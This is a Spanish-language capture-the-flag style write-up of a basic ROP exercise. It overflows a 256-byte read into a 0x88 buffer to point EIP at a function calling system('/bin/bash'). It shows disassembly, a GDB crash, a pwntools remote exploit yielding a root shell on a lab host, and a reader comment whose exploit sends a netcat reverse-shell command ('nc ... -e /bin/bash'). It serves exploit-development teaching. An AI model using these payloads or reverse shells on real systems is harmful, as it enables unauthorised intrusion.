[Resumen]:
Tenemos que explotar un ROP usando un buffer para la sobreescritura de EIP protegido con NX habilitado.
[Técnica]:
ROP. Usando un buffer para la sobreescritura de EIP apuntando a la función not_called()
y ejecutar un /bin/bash
protegido con NX habilitado.
[Informe]:
Recolección de información
Primero debemos obtener la información necesaria para realizar la explotación del binario. La principal diferencia entre los buffer overflow y ROP es que este último tienen habilitado NX/ASLR y, a veces, otras protecciones. NX significa «non-executable» impidiendo ejecutar código en el stack. Las direcciones libc y stack son aleatorias y ninguna memoria es simultáneamente grabable y ejecutable. Sabiendo que el binario tiene una función read()
, va a leer nuestro input que vayamos a introducir justamente un tamaño de 256
bytes y también tenemos un buffer ebp-0x88
que es donde se almacenará el input. Si desensamblamos la función vulnerable_function()
usando radare2 vemos el tamaño que lee siendo uno de sus argumentos. Esto quiere decir que va a leer más que lo que guarda nuestro buffer.
[0xf7fc0c70]> s sym.vulnerable_function
[0x080484b8]> pdf
/ (fcn) sym.vulnerable_function 41
| sym.vulnerable_function ();
| ; var int local_88h @ ebp-0x88
| ; var int local_4h @ esp+0x4
| ; var int local_8h @ esp+0x8
| ; CALL XREF from 0x08048518 (sym.main)
| 0x080484b8 55 push ebp
| 0x080484b9 89e5 mov ebp, esp
| 0x080484bb 81ec98000000 sub esp, 0x98
| 0x080484c1 c74424080001. mov dword [local_8h], 0x100 ; [0x100:4]=-1 ; 256
| 0x080484c9 8d8578ffffff lea eax, dword [local_88h]
| 0x080484cf 89442404 mov dword [local_4h], eax
| 0x080484d3 c70424000000. mov dword [esp], 0
| 0x080484da e8a1feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x080484df c9 leave
\ 0x080484e0 c3 ret
La función que debemos ganar acceso para obtener nuestra shell es not_called()
debido a que dentro de la función llama a system("/bin/bash")
, por lo tanto es fácil ya que no necesitamos una shellcode.
Explotación
Usaremos GDB para testear el buffer overflow y ver cuando sobreescribe $eip
. Si enviamos un número determinado de «junk» al buffer realizamos la sobreescritura!(ver:exploit). Podemos rastrear la sobreescritura usando strace
:
naivenom@parrot:[~/pwn/rop1_] $ python rop_exploit.py | strace ./rop
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 144
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x44444444} ---
+++ killed by SIGSEGV +++
Violación de segmento
Por último ya sabiendo que tenemos controlado $eip
lo único que necesitamos es usar la dirección de la función not_called()
para que apunte allí y nos ejecute una shell.
Obteniendo root shell
Pudimos debuggear y analizar el binario en nuestra máquina, pero ahora toca la fase en la que ganamos acceso. El binario vulnerable esta ejecutándose en el servidor víctima en el puerto 1234
.
root@kali:~/Desktop# nc -lvnp 1234 -e ./rop1-fa6168f4d8eba0eb
listening on [any] 1234 ...
connect to [192.168.32.129] from (UNKNOWN) [192.168.32.142] 57178
Ejecutamos en nuestra máquina y boomm! Root user 😉
naivenom@parrot:[~/pwn/rop1_] $ python exploit.py
[+] Opening connection to 192.168.32.129 on port 1234: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) grupos=0(root)
$ uname -a
Linux kali 4.12.0-kali2-686 #1 SMP Debian 4.12.12-2kali1 (2017-09-13) i686 GNU/Linux
[Comandos]:
Primero antes de nada comprobamos la seguridad del binario y observamos que NX
esta habilitado.
❯ gdb -q rop
Reading symbols from rop...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Sobreescritura de $eip
con 0x44444444
. Breakpoint en 0x080484df
gdb-peda$ r
Starting program: /home/naivenom/pwn/rop1_/rop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBCCDDBBBBBADDDD
Breakpoint 1, 0x080484df in vulnerable_function ()
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x44444444 in ?? ()
[Exploit Development]:
Enviamos al binario cuando lo debugeamos con GDB la salida de este script rop_exploit.py
usando r < salida
import sys sys.stdout.write("A"*140+"DDDD")
Exploit remoto.
from pwn import * p = remote('192.168.32.129', 1234) exploit = "" exploit += "\x90"*140 exploit += "\xa4\x84\x04\x08" p.sendline(exploit) p.interactive()
Un comentario en «Smashing Rabbit – Basic ROP. Usando buffer para sobreescritura de EIP apuntando a función que llama a «/bin/bash» (X)»
Mi exploit chapucero (No soy muy ducho en esto) genera una shell reversa al puerto 8088 con netcat.
#!/usr/bin/env python
import socket
buf=»
buf+=’\x90’*140
buf+=’\xa4\x84\x04\x08′
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((‘localhost’, 1234))
connection.send(buf)
connection.send(«nc localhost 8088 -e /bin/bash»)
Los comentarios están cerrados.